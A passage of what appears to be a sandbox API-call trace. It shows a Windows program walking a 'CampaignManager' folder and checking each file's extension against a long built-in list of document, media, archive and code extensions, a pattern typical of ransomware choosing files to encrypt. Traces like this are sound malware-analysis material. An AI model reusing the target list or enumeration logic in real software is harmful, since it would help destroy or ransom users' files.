	[0179.374] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.375] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0179.375] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0179.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.376] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.376] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0179.377] lstrlenW (lpString="index.html") returned 10
	[0179.377] lstrlenW (lpString=".1cd") returned 4
	[0179.377] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0179.377] lstrlenW (lpString=".3ds") returned 4
	[0179.377] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0179.377] lstrlenW (lpString=".3fr") returned 4
	[0179.377] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0179.377] lstrlenW (lpString=".3g2") returned 4
	[0179.377] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0179.377] lstrlenW (lpString=".3gp") returned 4
	[0179.377] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0179.377] lstrlenW (lpString=".7z") returned 3
	[0179.377] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0179.377] lstrlenW (lpString=".accda") returned 6
	[0179.377] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0179.377] lstrlenW (lpString=".accdb") returned 6
	[0179.377] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0179.377] lstrlenW (lpString=".accdc") returned 6
	[0179.377] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0179.377] lstrlenW (lpString=".accde") returned 6
	[0179.377] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0179.377] lstrlenW (lpString=".accdt") returned 6
	[0179.377] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0179.377] lstrlenW (lpString=".accdw") returned 6
	[0179.377] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0179.377] lstrlenW (lpString=".adb") returned 4
	[0179.377] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".adp") returned 4
	[0179.378] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ai") returned 3
	[0179.378] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0179.378] lstrlenW (lpString=".ai3") returned 4
	[0179.378] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ai4") returned 4
	[0179.378] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ai5") returned 4
	[0179.378] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ai6") returned 4
	[0179.378] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ai7") returned 4
	[0179.378] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ai8") returned 4
	[0179.378] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".anim") returned 5
	[0179.378] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0179.378] lstrlenW (lpString=".arw") returned 4
	[0179.378] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".as") returned 3
	[0179.378] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0179.378] lstrlenW (lpString=".asa") returned 4
	[0179.378] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".asc") returned 4
	[0179.378] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0179.378] lstrlenW (lpString=".ascx") returned 5
	[0179.378] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0179.378] lstrlenW (lpString=".asm") returned 4
	[0179.379] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".asmx") returned 5
	[0179.379] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0179.379] lstrlenW (lpString=".asp") returned 4
	[0179.379] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".aspx") returned 5
	[0179.379] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0179.379] lstrlenW (lpString=".asr") returned 4
	[0179.379] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".asx") returned 4
	[0179.379] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".avi") returned 4
	[0179.379] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".avs") returned 4
	[0179.379] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".backup") returned 7
	[0179.379] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0179.379] lstrlenW (lpString=".bak") returned 4
	[0179.379] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".bay") returned 4
	[0179.379] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0179.379] lstrlenW (lpString=".bd") returned 3
	[0179.379] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0179.379] lstrlenW (lpString=".bin") returned 4
	[0179.380] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".bmp") returned 4
	[0179.380] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".bz2") returned 4
	[0179.380] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".c") returned 2
	[0179.380] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.380] lstrlenW (lpString=".cdr") returned 4
	[0179.380] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".cer") returned 4
	[0179.380] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".cf") returned 3
	[0179.380] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0179.380] lstrlenW (lpString=".cfc") returned 4
	[0179.380] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".cfm") returned 4
	[0179.380] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".cfml") returned 5
	[0179.380] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0179.380] lstrlenW (lpString=".cfu") returned 4
	[0179.380] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".chm") returned 4
	[0179.380] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0179.380] lstrlenW (lpString=".cin") returned 4
	[0179.380] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".class") returned 6
	[0179.381] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0179.381] lstrlenW (lpString=".clx") returned 4
	[0179.381] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".config") returned 7
	[0179.381] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0179.381] lstrlenW (lpString=".cpp") returned 4
	[0179.381] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".cr2") returned 4
	[0179.381] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".crt") returned 4
	[0179.381] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".crw") returned 4
	[0179.381] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".cs") returned 3
	[0179.381] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0179.381] lstrlenW (lpString=".css") returned 4
	[0179.381] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".csv") returned 4
	[0179.381] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".cub") returned 4
	[0179.381] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".dae") returned 4
	[0179.381] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0179.381] lstrlenW (lpString=".dat") returned 4
	[0179.382] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".db") returned 3
	[0179.382] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0179.382] lstrlenW (lpString=".dbf") returned 4
	[0179.382] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".dbx") returned 4
	[0179.382] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".dc3") returned 4
	[0179.382] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".dcm") returned 4
	[0179.382] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".dcr") returned 4
	[0179.382] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".der") returned 4
	[0179.382] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".dib") returned 4
	[0179.382] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0179.382] lstrlenW (lpString=".dic") returned 4
	[0179.382] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0179.383] lstrlenW (lpString=".dif") returned 4
	[0179.383] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0179.383] lstrlenW (lpString=".divx") returned 5
	[0179.383] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0179.383] lstrlenW (lpString=".djvu") returned 5
	[0179.383] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0179.383] lstrlenW (lpString=".dng") returned 4
	[0179.383] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0179.383] lstrlenW (lpString=".doc") returned 4
	[0179.383] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0179.383] lstrlenW (lpString=".docm") returned 5
	[0179.383] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0179.383] lstrlenW (lpString=".docx") returned 5
	[0179.383] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0179.383] lstrlenW (lpString=".dot") returned 4
	[0179.383] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0179.383] lstrlenW (lpString=".dotm") returned 5
	[0179.383] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0179.383] lstrlenW (lpString=".dotx") returned 5
	[0179.383] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0179.383] lstrlenW (lpString=".dpx") returned 4
	[0179.383] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0179.383] lstrlenW (lpString=".dqy") returned 4
	[0179.383] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".dsn") returned 4
	[0179.384] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".dt") returned 3
	[0179.384] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0179.384] lstrlenW (lpString=".dtd") returned 4
	[0179.384] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".dwg") returned 4
	[0179.384] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".dwt") returned 4
	[0179.384] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".dx") returned 3
	[0179.384] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0179.384] lstrlenW (lpString=".dxf") returned 4
	[0179.384] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".edml") returned 5
	[0179.384] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0179.384] lstrlenW (lpString=".efd") returned 4
	[0179.384] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0179.384] lstrlenW (lpString=".elf") returned 4
	[0179.385] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".emf") returned 4
	[0179.385] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".emz") returned 4
	[0179.385] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".epf") returned 4
	[0179.385] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".eps") returned 4
	[0179.385] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".epsf") returned 5
	[0179.385] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0179.385] lstrlenW (lpString=".epsp") returned 5
	[0179.385] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0179.385] lstrlenW (lpString=".erf") returned 4
	[0179.385] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".exr") returned 4
	[0179.385] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".f4v") returned 4
	[0179.385] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".fido") returned 5
	[0179.385] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0179.385] lstrlenW (lpString=".flm") returned 4
	[0179.385] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0179.385] lstrlenW (lpString=".flv") returned 4
	[0179.385] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".frm") returned 4
	[0179.386] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".fxg") returned 4
	[0179.386] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".geo") returned 4
	[0179.386] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".gif") returned 4
	[0179.386] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".grs") returned 4
	[0179.386] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".gz") returned 3
	[0179.386] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0179.386] lstrlenW (lpString=".h") returned 2
	[0179.386] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.386] lstrlenW (lpString=".hdr") returned 4
	[0179.386] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".hpp") returned 4
	[0179.386] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".hta") returned 4
	[0179.386] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".htc") returned 4
	[0179.386] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".htm") returned 4
	[0179.386] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0179.386] lstrlenW (lpString=".html") returned 5
	[0179.386] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0179.386] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0179.387] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0179.387] lstrlenW (lpString=".1cd") returned 4
	[0179.387] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.387] lstrlenW (lpString=".3ds") returned 4
	[0179.387] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0179.387] lstrlenW (lpString=".3fr") returned 4
	[0179.387] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0179.387] lstrlenW (lpString=".3g2") returned 4
	[0179.387] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0179.387] lstrlenW (lpString=".3gp") returned 4
	[0179.387] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0179.387] lstrlenW (lpString=".7z") returned 3
	[0179.387] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.387] lstrlenW (lpString=".accda") returned 6
	[0179.387] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0179.387] lstrlenW (lpString=".accdb") returned 6
	[0179.387] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0179.387] lstrlenW (lpString=".accdc") returned 6
	[0179.387] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0179.387] lstrlenW (lpString=".accde") returned 6
	[0179.387] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0179.387] lstrlenW (lpString=".accdt") returned 6
	[0179.388] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0179.388] lstrlenW (lpString=".accdw") returned 6
	[0179.388] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0179.388] lstrlenW (lpString=".adb") returned 4
	[0179.388] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".adp") returned 4
	[0179.388] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".ai") returned 3
	[0179.388] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0179.388] lstrlenW (lpString=".ai3") returned 4
	[0179.388] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".ai4") returned 4
	[0179.388] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".ai5") returned 4
	[0179.388] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".ai6") returned 4
	[0179.388] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".ai7") returned 4
	[0179.388] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".ai8") returned 4
	[0179.388] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0179.388] lstrlenW (lpString=".anim") returned 5
	[0179.388] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0179.388] lstrlenW (lpString=".arw") returned 4
	[0179.389] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".as") returned 3
	[0179.389] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0179.389] lstrlenW (lpString=".asa") returned 4
	[0179.389] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".asc") returned 4
	[0179.389] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".ascx") returned 5
	[0179.389] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0179.389] lstrlenW (lpString=".asm") returned 4
	[0179.389] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".asmx") returned 5
	[0179.389] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0179.389] lstrlenW (lpString=".asp") returned 4
	[0179.389] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".aspx") returned 5
	[0179.389] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0179.389] lstrlenW (lpString=".asr") returned 4
	[0179.389] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".asx") returned 4
	[0179.389] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".avi") returned 4
	[0179.389] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0179.389] lstrlenW (lpString=".avs") returned 4
	[0179.389] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".backup") returned 7
	[0179.390] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0179.390] lstrlenW (lpString=".bak") returned 4
	[0179.390] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".bay") returned 4
	[0179.390] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".bd") returned 3
	[0179.390] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0179.390] lstrlenW (lpString=".bin") returned 4
	[0179.390] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".bmp") returned 4
	[0179.390] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".bz2") returned 4
	[0179.390] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".c") returned 2
	[0179.390] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.390] lstrlenW (lpString=".cdr") returned 4
	[0179.390] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".cer") returned 4
	[0179.390] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".cf") returned 3
	[0179.390] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0179.390] lstrlenW (lpString=".cfc") returned 4
	[0179.390] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0179.390] lstrlenW (lpString=".cfm") returned 4
	[0179.390] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".cfml") returned 5
	[0179.391] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0179.391] lstrlenW (lpString=".cfu") returned 4
	[0179.391] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".chm") returned 4
	[0179.391] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".cin") returned 4
	[0179.391] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".class") returned 6
	[0179.391] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0179.391] lstrlenW (lpString=".clx") returned 4
	[0179.391] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".config") returned 7
	[0179.391] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0179.391] lstrlenW (lpString=".cpp") returned 4
	[0179.391] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".cr2") returned 4
	[0179.391] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".crt") returned 4
	[0179.391] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0179.391] lstrlenW (lpString=".crw") returned 4
	[0179.391] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0179.392] lstrlenW (lpString=".cs") returned 3
	[0179.392] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0179.392] lstrlenW (lpString=".css") returned 4
	[0179.392] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0179.392] lstrlenW (lpString=".csv") returned 4
	[0179.392] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0179.392] lstrlenW (lpString=".cub") returned 4
	[0179.392] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0179.392] lstrlenW (lpString=".dae") returned 4
	[0179.392] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0179.392] lstrlenW (lpString=".dat") returned 4
	[0179.392] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0179.392] lstrlenW (lpString=".db") returned 3
	[0179.392] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0179.392] lstrlenW (lpString=".dbf") returned 4
	[0179.392] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dbx") returned 4
	[0179.393] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dc3") returned 4
	[0179.393] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dcm") returned 4
	[0179.393] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dcr") returned 4
	[0179.393] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".der") returned 4
	[0179.393] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dib") returned 4
	[0179.393] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dic") returned 4
	[0179.393] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".dif") returned 4
	[0179.393] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0179.393] lstrlenW (lpString=".divx") returned 5
	[0179.393] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0179.393] lstrlenW (lpString=".djvu") returned 5
	[0179.393] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0179.393] lstrlenW (lpString=".dng") returned 4
	[0179.393] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
